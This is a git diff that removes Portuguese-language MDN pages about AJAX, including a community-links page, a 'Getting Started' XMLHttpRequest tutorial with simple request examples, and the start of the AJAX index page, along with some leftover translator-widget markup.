- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result"> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/web/guide/ajax/community/index.html b/files/pt-pt/web/guide/ajax/community/index.html
deleted file mode 100644
index 438baadb13..0000000000
--- a/files/pt-pt/web/guide/ajax/community/index.html
+++ /dev/null
@@ -1,23 +0,0 @@
----
-title: Comunidade
-slug: Web/Guide/AJAX/Community
-tags:
- - AJAX
-translation_of: Web/Guide/AJAX/Community
-original_slug: Web/Guide/AJAX/Comunidade
----
-<p>Se conhece listas de discussão úteis, grupos de notícias, fóruns, ou outras comunidades relacionadas com AJAX, interligue-os aqui.</p>
-
-<h2 id="Ajax_Resources" name="Ajax_Resources">Recursos Ajax</h2>
-
-<h2 id="Ajax_Workshops_&amp;_Courses" name="Ajax_Workshops_&amp;_Courses">Ajax - Conferências e Cursos</h2>
-
-<ul>
- <li><a class="external" href="http://skillsmatter.com/go/ajax-ria">skillsmatter.com</a>: cursos e eventos de JavaScript, Ajax e Tecnologias Reversas Ajax</li>
- <li><a href="https://www.telerik.com/forums/aspnet-ajax" rel="noopener">telerik.com</a>: um fórum da comunidade ativo para Ajax</li>
- <li><a href="https://community.tableau.com/search.jspa?q=ajax" rel="noopener">community.tableau.com</a>: fórum de apoio da comunidade e cursos disponíveis para Ajax</li>
- <li><a href="https://www.codementor.io/community/search?q=ajax" rel="noopener">codementor.io</a>: plataforma social com fóruns e tutoriais de Ajax</li>
- <li><a href="https://www.lynda.com/search?q=ajax" rel="noopener">lynda.com</a>: tutoriai disponíveis para aprender o essencial do Ajax<span class="comment">Interwiki links</span></li>
-</ul>
-
-<p>{{ languages( { "ja": "ja/AJAX/Community", "fr": "fr/AJAX/Communaut\u00e9" } ) }}</p>
diff --git a/files/pt-pt/web/guide/ajax/getting_started/index.html b/files/pt-pt/web/guide/ajax/getting_started/index.html
deleted file mode 100644
index f57095e504..0000000000
--- a/files/pt-pt/web/guide/ajax/getting_started/index.html
+++ /dev/null
@@ -1,306 +0,0 @@
----
-title: Primeiros Passos
-slug: Web/Guide/AJAX/Getting_Started
-tags:
- - AJAX
- - API
- - Avançado
- - JavaScript
- - Mecânica da Web
- - XMLHttpRequest
-translation_of: Web/Guide/AJAX/Getting_Started
-original_slug: Web/Guide/AJAX/Como_começar
----
-<p class="summary">Este artigo guia-o através do essencial do AJAX e oferece-lhe dois exemplos práticos simples para poder começar.</p>
-
-<h3 id="O_que_é_AJAX">O que é AJAX?</h3>
-
-<p>AJAX (JavaScript Assíncrono e XML) em poucas palavras, é a utilização do objeto <code><a href="/pt-PT/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> para comunicar com os servidores. Este pode enviar e receber informação em vários formatos, incluindo JSON, XML, HTML e ficheiros de texto. A característica mais atraente do AJAX é a sua natureza 'assíncrona', o que significa que este pode comunicar com o servidor, trocar dados, e atualizar a página sem ter que recarregar a página.</p>
-
-<p>As duas principais funcionalidades do AJAX são as seguintes:</p>
-
-<ul>
- <li>Efetuar pedidos ao servidor sem ter de recarregar a página</li>
- <li>Receber e trabalhar com dados a partir do servidor</li>
-</ul>
-
-<h3 id="Passo_1_-_Como_efetuar_um_pedido_de_HTTP">Passo 1 - Como efetuar um pedido de HTTP</h3>
-
-<p>Para fazer uma requisição HTTP ao servidor usando JavaScript, você precisa de uma instância de uma classe que disponibilize essa funcionalidade. Tal classe foi primeiro introduzida no Internet Explorer sob a forma de um objecto ActiveX chamado <code>XMLHTTP</code>. Depois, o Mozilla, o Safari e outros browsers fizeram o mesmo, implementando uma classe de nome <code>XMLHttpRequest</code> que suporta os métodos e as propriedades do objecto ActiveX original da Microsoft.</p>
-
-<p>Por isso, para criar uma instância (objeto) da classe pretendida compatível com multiplos navegadores, você pode fazer:</p>
-
-<pre>if (window.XMLHttpRequest) { // Mozilla, Safari, ...
- http_request = new XMLHttpRequest();
-} else if (window.ActiveXObject) { // IE
- http_request = new ActiveXObject("Microsoft.XMLHTTP");
-}
-
-</pre>
-
-<p>(só a título de exemplo, o código acima é uma versão simplificada do código a ser usado para a criação de uma instância XMLHTTP. Para um exemplo mais "vida real", dê uma olhada ao 3º passo deste artigo.)</p>
-
-<p>Algumas versões de alguns browsers Mozilla não irão funcionar bem se a resposta do servidor não possuir um cabeçalho mime-type XML. Para satisfazer isto, você pode usar uma chamada extra a um método para ultrapassar o cabeçalho enviado pelo servidor, só no caso de não ser no formato <code>text/xml</code>.</p>
-
-<pre>http_request = new XMLHttpRequest();
-http_request.overrideMimeType('text/xml');
-</pre>
-
-<p>A próxima coisa a ser feita é decidir o que quer fazer após receber a resposta do servidor ao seu pedido. Nesta etapa só precisa de dizer ao objecto pedido HTTP que função JavaScript irá processar a resposta. Isto é feito definindo a propriedade <code>onreadystatechange</code> do objeto ao nome da função JavaScript que pretende utilizar, por exemplo:</p>
-
-<p><code>http_request.onreadystatechange = NomedaFunção;</code></p>
-
-<p>Note-se que não existem chaves após o nome da função e não são passados parâmetros. Também, em vez de dar um nome a função, você pode usar a técnica JavaScript de definir funções na hora (chamadas funções anônimas) e definir as ações que vão processar a resposta logo, por exemplo:</p>
-
-<pre>http_request.onreadystatechange = function(){
- // processar resposta do servidor
-};
-</pre>
-
-<p>Em seguida, após ter declarado o que vai acontecer mal receba a resposta, você precisa de consumar o pedido. Precisa de chamar os métodos <code>open()</code> e <code>send()</code> da classe pedido HTTP, por exemplo:</p>
-
-<pre>http_request.open('GET', 'http://www.dominio.com.br/arquivo.extensao', true);
-http_request.send(null);
-</pre>
-
-<ul>
- <li>O primeiro parâmetro da chamada do método <code>open()</code> é o método pedido HTML – GET, POST, HEAD ou outro método qualquer que queira usar e que seja suportado pelo seu servidor. Mantenha o nome do método em maiúsculas para obedecer às normas HTTP senão certos browsers (como o Firefox) podem não processar o pedido. Para obter mais informação sobre os possíveis métodos pedido HTTP pode dar uma olhadela em <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html">W3C specs</a></li>
- <li>O segundo parâmetro é a URL da página que está a pedir. Como medida de segurança, não pode efectuar pedidos de páginas de domínios externos. Certifique-se que usa o nome exacto do domínio em todas as suas páginas ou irá receber um erro "Permissão Negada" quando efectua uma chamada <code>open()</code>. Um erro comum é aceder ao seu domínio através de domínio.tld ao mesmo tempo que tenta chamar páginas com www.domínio.tld.</li>
- <li>O terceiro parâmetro define se o pedido é assíncrono. Se <code>TRUE</code>, a execução da função JavaScript irá continuar enquanto que a resposta do servidor ainda não foi recebida. Isto é o A de AJAX.</li>
-</ul>
-
-<p>O parâmetro do método <code>send()</code> pode ser costituido por quaisquer dados que pretenda enviar ao servidor ao enviar (POST) o pedido. Os dados devem estar sob a forma de uma linha de texto de pergunta, tipo:</p>
-
-<p><code>name=value&amp;anothername=othervalue&amp;so=on</code></p>
-
-<p>ou em vários outros formatos, incluindo JSON, SOAP, etc.</p>
-
-<p>Note-se que se pretende enviar (POST) dados, você deve alterar o tipo MIME do pedido usando a seguinte linha:</p>
-
-<pre>http_request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
-</pre>
-
-<p>De outra forma o servidor irá ignorar os dados (post).</p>
-
-<p>Pode-se também colocar o charset desejado assim:</p>
-
-<pre>http_request.setRequestHeader('Content-Type',
- "application/x-www-form-urlencoded; charset=iso-8859-1");
-</pre>
-
-<p>Outro ponto importante é controle do cache, pois caso haja necessidadde de reenviar a consulta, pode ser que o objeto retorne o que está no cache do navegador. Para evitar esse tipo de transtorno as linhas abaixo eliminam essas possibilidades:</p>
-
-<pre> http_request.setRequestHeader("Cache-Control",
- "no-store, no-cache, must-revalidate");
-http_request.setRequestHeader("Cache-Control",
- "post-check=0, pre-check=0");
-http_request.setRequestHeader("Pragma", "no-cache");
-</pre>
-
-<h3 id="Passo_2_-_Manipular_a_resposta_do_servidor">Passo 2 - Manipular a resposta do servidor</h3>
-
-<p>Lembre-se que quando estava a enviar o pedido, você providenciou o nome de uma função JavaScript que é criada para lidar com a resposta.</p>
-
-<p><code>http_request.onreadystatechange = nameOfTheFunction;</code></p>
-
-<p>Vamos a ver o que é que esta função deve fazer. Primeiro, a função precisa de verificar o estado do pedido. Se o estado possui o valor 4, isso significa que a totalidade da resposta do servidor foi recebida e que pode continuar a processá-la à vontade.</p>
-
-<pre>if (http_request.readyState == 4) {
- // everything is good, the response is received
-} else {
- // still not ready
-}
-</pre>
-
-<p>A lista completa dos valores <code>readyState</code> é a seguinte:</p>
-
-<ul>
- <li>0 (não inicializado)</li>
- <li>1 (a carregar)</li>
- <li>2 (carregado)</li>
- <li>3 (interativo)</li>
- <li>4 (completo)</li>
-</ul>
-
-<p>(<a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/readystate_1.asp">Source</a>)</p>
-
-<p>A próxima coisa a verificar é o código do estado da resposta HTTP do servidor. Todos os códigos possíveis estão listados na <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html">página W3C</a>. Para os nossos objectivos nós só estamos interessados na resposta <code>200 OK</code>.</p>
-
-<pre>if (http_request.status == 200) {
- // perfect!
-} else {
- // there was a problem with the request,
- // for example the response may be a 404 (Not Found)
- // or 500 (Internal Server Error) response codes
-}
-</pre>
-
-<p>Depois de verificar o estado do pedido e o código do estado HTTP da resposta, compete-lhe a si fazer aquilo que quer fazer com os dados que o servidor lhe enviou. Tem duas opções para aceder a esses dados:</p>
-
-<ul>
- <li><code>http_request.responseText</code> – irá devolver a resposta do servidor como uma linha de texto</li>
- <li><code>http_request.responseXML</code> – irá devolver a resposta do servidor como um objecto <code>XMLDocument</code> que pode percorrer usando as funções DOM de JavaScript.</li>
-</ul>
-
-<p> </p>
-
-<h3 id="Passo_3_–_Um_exemplo_simples">Passo 3 – Um exemplo simples</h3>
-
-<p>Vamos agora pôr tudo junto e efectuar um simples pedido HTTP. O nosso JavaScript vai pedir um documento HTML, <code>teste.html</code>, que contém o texto "Sou um teste." e então vamos <code>alert()</code> os conteúdos do ficheiro <code>teste.html</code>.</p>
-
-<pre>&lt;script type="text/javascript" language="javascript"&gt;
-
- var http_request = false;
-
- function makeRequest(url) {
-
- http_request = false;
-
- if (window.XMLHttpRequest) { // Mozilla, Safari,...
- http_request = new XMLHttpRequest();
- if (http_request.overrideMimeType) {
- http_request.overrideMimeType('text/xml');
- // See note below about this line
- }
- } else if (window.ActiveXObject) { // IE
- try {
- http_request = new ActiveXObject("Msxml2.XMLHTTP");
- } catch (e) {
- try {
- http_request = new ActiveXObject("Microsoft.XMLHTTP");
- } catch (e) {}
- }
- }
-
- if (!http_request) {
- alert('Giving up :( Cannot create an XMLHTTP instance');
- return false;
- }
- http_request.onreadystatechange = alertContents;
- http_request.open('GET', url, true);
- http_request.send(null);
-
- }
-
- function alertContents() {
-
- if (http_request.readyState == 4) {
- if (http_request.status == 200) {
- alert(http_request.responseText);
- } else {
- alert('There was a problem with the request.');
- }
- }
-
- }
-&lt;/script&gt;
-&lt;span
- style="cursor: pointer; text-decoration: underline"
- onclick="makeRequest('test.html')"&gt;
- Make a request
-&lt;/span&gt;
-</pre>
-
-<p>Neste exemplo:</p>
-
-<ul>
- <li>O utilizador clicka no atalho "efectuar pedido" no browser;</li>
- <li>Isto chama a função <code>makeRequest()</code> com um parâmetro -- o nome <code>teste.html</code> de um ficheiro HTML no mesmo directório;</li>
- <li>O pedido é feito e então (<code>onreadystatechange</code>) a execução é passada a <code>alertContents()</code>;</li>
- <li><code>alertContents()</code> verifica se a resposta foi recebida e se é um OK e então alerta (<code>alert()</code>) os conteúdos do ficheiro <code>test.html</code>.</li>
-</ul>
-
-<p>Você pode testar o exemplo <a class="external" href="http://www.w3clubs.com/mozdev/httprequest_test.html">aqui</a> e pode ver o ficheiro de teste <a class="external" href="http://www.w3clubs.com/mozdev/test.html">aqui</a>.</p>
-
-<div class="note"><strong>Nota</strong>: <span id="result_box" lang="pt"><span class="hps"><span id="result_box" lang="pt"><span class="alt-edited hps">Se você está enviando</span> <span class="alt-edited hps">uma solicitação para um</span> <span class="hps">pedaço de código</span> <span class="alt-edited hps">que retornará</span> <span class="hps">XML</span><span>, ao invés de</span> <span class="hps">um arquivo</span> <span class="hps">XML</span> <span class="hps">estático</span><span>, é necessário definir</span> <span class="hps">alguns</span> <span class="hps">cabeçalhos de resposta</span> <span class="hps">se a sua página</span> <span class="alt-edited hps">deve trabalhar</span> <span class="alt-edited hps">com o Internet Explorer</span><span>, além de</span> <span class="hps">Mozilla.</span> <span class="hps">Se</span> <span class="hps">você não definir</span> <span class="hps">cabeçalho</span> <code><span class="hps">Content-Type</span><span>: application /</span> <span class="hps">xml</span></code><span>, o IE irá</span> <span class="hps">lançar um erro</span> <span class="hps">JavaScript,</span> <span class="atn hps">"</span><span>Objeto esperado</span><span>"</span><span>,</span> <span class="hps">após a linha</span> <span class="hps">onde você tentar</span> <span class="hps">acessar um elemento</span> <span class="hps">XML.</span></span>.</span></span></div>
-
-<div class="note"><strong>Nota 2</strong>: <span id="result_box" lang="pt"><span class="hps">Se</span> <span class="hps">você não definir</span> <span class="hps">cabeçalho</span> <code><span class="atn hps">Cache-</span><span>Control: no</span><span>-cache</span></code> <span class="alt-edited hps">o navegador</span> <span class="alt-edited hps">armazenará em cache</span> <span class="hps">a resposta</span> <span class="alt-edited hps">e jamais</span> <span class="alt-edited hps">voltará a submeter</span> <span class="hps">o pedido</span><span>, tornando</span> <span class="hps">a depuração</span> <span class="atn hps">"</span><span class="alt-edited">desafiadora".</span> <span class="alt-edited hps">Também é</span> <span class="alt-edited hps">possível acrescentar</span> <span class="hps">um parâmetro</span> <span class="hps">GET</span> <span class="hps">adicional</span> <span class="hps">sempre</span> <span class="hps">diferente,</span> <span class="hps">como o</span> <span class="hps">timestamp</span> <span class="hps">ou</span> <span class="hps">um número aleatório</span> <span class="atn hps">(</span><span>veja</span> <a href="https://developer.mozilla.org/en/DOM/XMLHttpRequest/Using_XMLHttpRequest#Bypassing_the_cache" title="https://developer.mozilla.org/En/XMLHttpRequest/Using_XMLHttpRequest#Bypassing_the_cache">bypassing the cache</a><span class="hps">).</span></span></div>
-
-<div class="note"><strong>Nota 3</strong>: <span id="result_box" lang="pt"><span class="hps">Se a variável</span> <span class="hps">httpRequest</span> <span class="alt-edited hps">é utilizada</span> <span class="hps">globalmente</span><span class="alt-edited">, funções</span> <span class="alt-edited hps">concorrentes</span> <span class="hps">chamando</span> <code><span class="hps">makeRequest</span> </code><span class="alt-edited hps"><code>()</code> podem</span> <span class="alt-edited hps">sobrescrever</span> <span class="hps">o outro,</span> <span class="hps">causando</span> <span class="hps">uma condição de corrida</span><span>.</span> <span class="hps">Declarando</span> <span class="hps">o</span> <span class="hps">httpRequest</span> <span class="hps">variável local para</span> <span class="hps">um <a href="https://developer.mozilla.org/en/JavaScript/Guide/Closures" title="https://developer.mozilla.org/en/JavaScript/Guide/Closures">closure</a></span> <span class="hps">contendo as funções</span> <span class="hps">AJAX</span> <span class="hps">impede</span> <span class="hps">a condição de corrida</span><span>.</span></span></div>
-
-<div class="note"><strong>Nota 4</strong>: Caso ocorra um erro de comunicação (tal como a queda de do servidor web), uma exceção será lançada no método <code>onreadystatechange</code> quando o campo <code>status</code> for acessado. Tenha a certeza de envolver sua declaração <code>if..then</code> dentro de um bloco <code>try...catch</code>. (Veja: {{ Bug(238559) }}).</div>
-
-<h3 id="Passo_4_–_Trabalhar_com_a_resposta_XML">Passo 4 – Trabalhar com a resposta XML</h3>
-
-<p>No exemplo anterior, após termos recebido a resposta ao pedido HTTP, nós usamos a propriedade <code>reponseText</code> do objecto de pedido e continha os conteúdos do ficheiro <code>test.html</code>. Agora vamos experimentar a propriedade <code>responseXML</code>.</p>
-
-<p>Antes de tudo, vamos criar um documento XML válido que vamos pedir mais à frente. O documento (test.xml) contém o seguinte:</p>
-
-<p> </p>
-
-<pre>&lt;?xml version="1.0" ?&gt;
-&lt;root&gt;
- I'm a test.
-&lt;/root&gt;
-</pre>
-
-<p>No guião só precisamos de alterar a linha do pedido com:</p>
-
-<pre>...
-onclick="makeRequest('test.xml')"&gt;
-...
-</pre>
-
-<p>Então em <code>alertContents()</code> nós precisamos de substituir a linha de alerta (<code>alert(http_request.responseText);</code>) com:</p>
-
-<pre>var xmldoc = http_request.responseXML;
-var root_node = xmldoc.getElementsByTagName('root').item(0);
-alert(root_node.firstChild.data);
-</pre>
-
-<p>Este código pega o objeto <code>XMLDocument</code> obtido por <code>responseXML</code> e utiliza métodos DOM para acessar alguns dados contidos no documento XML. Você pode ver o <code>test.xml</code> <a class="external" href="http://www.w3clubs.com/mozdev/test.xml">aqui</a> e o script de teste atualizado <a class="external" href="http://www.w3clubs.com/mozdev/httprequest_test_xml.html">aqui</a>.</p>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
-
-<h3 id="Passo_5_–_Tabalhar_com_dados">Passo 5 – Tabalhar com dados</h3>
-
-<p>Finalmente, vamos enviar algum dado para o servidor e obter a resposta. Desta vez, nosso JavaScript solicitará um página dinâmica (<code>test.php</code>)  que receberá os dados que enviamos e retornará um string computada - "<code>Hello, [user data]!</code>" - visualizada através de <code>alert().</code></p>
-
-<p>Primeiro, vamos adicionar uma text box em nosso HTML de modo que o usuário possa digitar o seu nome:</p>
-
-<pre class="brush: html">&lt;label&gt;Your name:
-  &lt;input type="text" id="ajaxTextbox" /&gt;
-&lt;/label&gt;
-&lt;span id="ajaxButton" style="cursor: pointer; text-decoration: underline"&gt;
-  Make a request
-&lt;/span&gt;</pre>
-
-<p>Vamos, também, adicionar uma linha para nosso manipulador de eventos obter os dados do usuário da text box e enviá-lo para função <code>makeRequest()</code> juntamente com a URL do nosso script do lado do servidor (server-side):</p>
-
-<pre class="brush: js">document.getElementById("ajaxButton").onclick = function() {
-      var userName = document.getElementById("ajaxTextbox").value;
-      makeRequest('test.php',userName);
-  };</pre>
-
-<p><span id="result_box" lang="pt"><span class="hps">Precisamos</span> <span class="hps">modificar</span> <code><span class="hps">makeRequest</span> </code><span class="hps"><code>()</code> para aceitar</span> <span class="hps">os dados do usuário</span> <span class="hps">e</span> <span class="hps">passá-lo para</span> <span class="hps">o servidor</span></span>. Vamos mudar o método de requisição de <code>GET</code> para <code>POST</code>, e incluir nossos dados como um parâmetro na chamada para <code>httpRequest.send()</code>:</p>
-
-<pre class="brush: js">function makeRequest(url, userName) {
-
-    ...
-
- httpRequest.onreadystatechange = alertContents;
- httpRequest.open('POST', url);
-    httpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
- httpRequest.send('userName=' + encodeURIComponent(userName));
- }
-</pre>
-
-<p>A função <code>alertContents()</code> pode ser escrita da mesma forma que se encontrava no <strong>Passo 3</strong> para alertar (<code>alert()</code>) nossa string computada,  se isso for tudo o que o servidor retorna. No entanto, vamos dizer que  o servidor irá retornar tanto a sequência computada como o dados original do usuário. Portanto, se o usuário digitou "Jane" na text box, a resposta do servidor ficaria assim:</p>
-
-<p><code>{"userData":"Jane","computedString":"Hi, Jane!"}</code></p>
-
-<p><span class="short_text" id="result_box" lang="pt"><span class="hps">Para utilizar</span> <span class="hps">estes dados</span> <span class="hps">dentro de </span></span><code>alertContents()</code>, nós não podemos simplesmente exibir com <code>alert()</code>  a propriedade <code>responseText</code>. Temos que analisar (parse it)  <code>computedString</code> a propriedade que queremos:</p>
-
-<pre class="brush: js">function alertContents() {
-    if (httpRequest.readyState === 4) {
-      if (httpRequest.status === 200) {
-        var response = JSON.parse(httpRequest.responseText);
-        alert(response.computedString);
-    } else {
-      alert('There was a problem with the request.');
-    }
-}</pre>
-
-<p><code>Para mais métodos DOM, certifique-se que consulta os documentos sobre a <a class="external" href="/pt-PT/docs/DOM/DOM_Reference">implementação de DOM da Mozilla</a></code></p>
diff --git a/files/pt-pt/web/guide/ajax/index.html b/files/pt-pt/web/guide/ajax/index.html
deleted file mode 100644
index d994ea7b96..0000000000
--- a/files/pt-pt/web/guide/ajax/index.html
+++ /dev/null
@@ -1,131 +0,0 @@
----
-title: AJAX
-slug: Web/Guide/AJAX
-tags:
- - AJAX
- - DOM
- - JSON
- - JavaScript
- - Referências
- - XML
- - XMLHttRequest
-translation_of: Web/Guide/AJAX
----
-<p> </p>
-
-<div class="callout-box"><strong><a href="/pt-PT/docs/Web/Guide/AJAX/Como_começar">Primeiros Passos</a></strong>
-
-<p>Uma introdução ao AJAX</p>
-</div>
-
-<div>
-<p><strong>JavaScript Assíncrono e XML,</strong> enquanto não uma tecnologia em si, é um termo criado em 2005 por Jesse James Garret, que descreve uma "nova" abordagem para utilizar uma série de tecnologias existentes em conjunto, incluindo <a href="/pt-PT/docs/Web/HTML">HTML</a> ou <a href="/pt-PT/docs/XHTML">XHTML</a>, <a href="/pt-PT/docs/Web/CSS">Cascading Style Sheets</a>, <a href="/pt-PT/docs/Web/JavaScript">JavaScript</a>, <a href="/pt-PT/docs/DOM/DOM_Reference">Document Object Model</a>, <a href="/pt-PT/docs/Introducao_a_XML">XML</a>, <a href="/pt-PT/docs/XSLT">XSLT</a> e o objeto <a href="/pt-PT/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a>.<br>
- Quando estas tecnologias são combinadas no modelo AJAX, as aplicações da Web são capazes de efetuar atualizações incrementais e rápidas na interface do utilizador sem recarregar toda a página. Isto torna a aplicação mais rápida e mais responsiva para as ações do do utilizador.</p>
-</div>
-
-<p>Although X in Ajax stands for XML, <a href="/en-US/docs/JSON" title="https://developer.mozilla.org/en-US/docs/JSON">JSON</a> is used more than XML nowadays because of its many advantages such as being lighter and a part of JavaScript. Both JSON and XML are used for packaging information in Ajax model.</p>
-
-<div class="row topicpage-table">
-<div class="section">
-<h2 class="Documentation" id="Documentação">Documentação</h2>
-
-<dl>
- <dt><a href="/en-US/docs/AJAX/Getting_Started" title="en-US/docs/AJAX/Getting_Started">Primeiros Passos</a></dt>
- <dd>This article guides you through the Ajax basics and gives you two simple hands-on examples to get you started.</dd>
- <dt><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest">Utilizar a API XMLHttpRequest</a></dt>
- <dd>The <a href="/en-US/docs/DOM/XMLHttpRequest" title="XMLHttpRequest"><code>XMLHttpRequest</code> API</a> is the core of Ajax. This article will explain how to use some Ajax techniques, like:
- <ul>
- <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Handling_responses" title="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Handling_responses">analyzing and manipulating the response of the server</a></li>
- <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Monitoring_progress" title="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Monitoring_progress">monitoring the progress of a request</a></li>
- <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files" title="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files">submitting forms and upload binary files</a> – in <em>pure</em> Ajax, or using <a href="/en-US/docs/DOM/XMLHttpRequest/FormData" title="DOM/XMLHttpRequest/FormData"><code>FormData</code></a> objects</li>
- <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Types_of_requests" title="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Types_of_requests">creating synchronous or asynchronous requests</a></li>
- <li>using Ajax within <a href="/en-US/docs/DOM/Worker" title="/en-US/docs/DOM/Worker">Web workers</a></li>
- </ul>
- </dd>
- <dt><a href="/en-US/docs/Web/API/Fetch_API">API Fetch</a></dt>
- <dd>The Fetch API provides an interface for fetching resources. It will seem familiar to anyone who has used {{domxref("XMLHTTPRequest")}}, but this API provides a more powerful and flexible feature set.</dd>
- <dt><a href="/en-US/docs/Server-sent_events" title="/en-US/docs/Server-sent_events">Eventos de envio do servidor</a></dt>
- <dd>Traditionally, a web page has to send a request to the server to receive new data; that is, the page requests data from the server. With server-sent events, it's possible for a server to send new data to a web page at any time, by pushing messages to the web page. These incoming messages can be treated as <em><a href="/en-US/docs/DOM/event" title="DOM/Event">Events</a> + data</em> inside the web page. See also: <a href="/en-US/docs/Server-sent_events/Using_server-sent_events" title="/en-US/docs/Server-sent_events/Using_server-sent_events">Using server-sent events</a>.</dd>
- <dt><a href="/en-US/docs/Web/Guide/DOM/Manipulating_the_browser_history/Example" title="/en-US/docs/Web/Guide/DOM/Manipulating_the_browser_history/Example"><em>Pure-Ajax</em> navigation example</a></dt>
- <dd>This article provides a working (minimalist) example of a <em>pure-Ajax</em> website composed only of three pages.</dd>
- <dt><a href="/en-US/docs/DOM/XMLHttpRequest/Sending_and_Receiving_Binary_Data" title="/en-US/docs/DOM/XMLHttpRequest/Sending_and_Receiving_Binary_Data">Enviar e Receber Dados Binário</a></dt>
